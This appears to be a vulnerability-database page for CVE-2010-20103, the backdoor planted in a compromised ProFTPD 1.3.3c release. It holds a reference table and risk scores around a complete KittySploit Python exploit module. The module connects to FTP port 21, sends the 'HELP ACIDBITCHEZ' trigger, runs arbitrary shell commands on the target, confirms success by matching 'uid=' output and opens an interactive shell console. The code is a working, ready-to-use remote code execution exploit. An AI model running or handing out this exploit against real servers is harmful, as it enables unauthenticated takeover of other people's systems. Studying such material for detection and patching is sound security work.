ProFTPD - Compromised Package Backdoor RCE (CVE-2010-20103)
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2010-20103 | 29 May 201815:50 | – | circl | |
| ProFTPD 安全漏洞 | 20 Aug 202500:00 | – | cnnvd | |
| CVE-2010-20103 | 20 Aug 202515:38 | – | cve | |
| CVE-2010-20103 ProFTPD 1.3.3c Backdoor Command Execution | 20 Aug 202515:38 | – | cvelist | |
| EUVD-2010-5301 | 7 Oct 202500:30 | – | euvd | |
| ProFTPD - Compromised Package Backdoor Detection (CVE-2010-20103) | 10 Aug 202606:19 | – | kittysploit | |
| ProFTPD 1.3.3c Backdoor Command Execution | 2 Dec 201000:00 | – | metasploit | |
| CVE-2010-20103 | 20 Aug 202516:15 | – | nvd | |
| ProFTPD Backdoor Unauthorized Access Vulnerability (Dec 2010) - Active Check | 2 Dec 201000:00 | – | openvas | |
| PT-2025-34100 | 20 Aug 202500:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ProFTPD 1.3.3c backdoor RCE (CVE-2010-20103)."""
import re
import socket
from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
from lib.exploit.handler import Handler
class Module(Exploit, Tcp_scanner_client, Handler):
__info__ = {
'name': 'ProFTPD - Compromised Package Backdoor RCE (CVE-2010-20103)',
'description': (
'Exploits CVE-2010-20103 by triggering HELP ACIDBITCHEZ then executing '
'shell commands over the FTP session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2010-20103'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2010-20103'],
'tags': ['proftpd', 'ftp', 'backdoor', 'rce', 'unauth', 'cve-2010-20103'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/tcp/cve_2010_20103_detect'],
},
},
}
port = OptPort(21, 'FTP port', True)
def execute(self, cmd: str) -> str:
host = self._host()
port = self._port()
if not host:
return ''
safe = str(cmd).replace('\r', '').replace('\n', ';')
try:
sock = socket.create_connection((host, port), timeout=self._timeout())
sock.settimeout(self._timeout())
sock.recv(256)
sock.sendall(b'HELP ACIDBITCHEZ\r\n')
sock.recv(512)
sock.sendall((safe + ';\r\n').encode())
chunks = []
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
chunks.append(chunk)
sock.close()
return b''.join(chunks).decode('latin-1', errors='replace')
except Exception:
return ''
def handler_execute(self):
out = self.execute('id')
if not out or not re.search(r'uid=\d+', out):
print_error('Target does not appear vulnerable to CVE-2010-20103')
return False
print_success('ProFTPD backdoor confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
CVSS 49.3
EPSS0.13661
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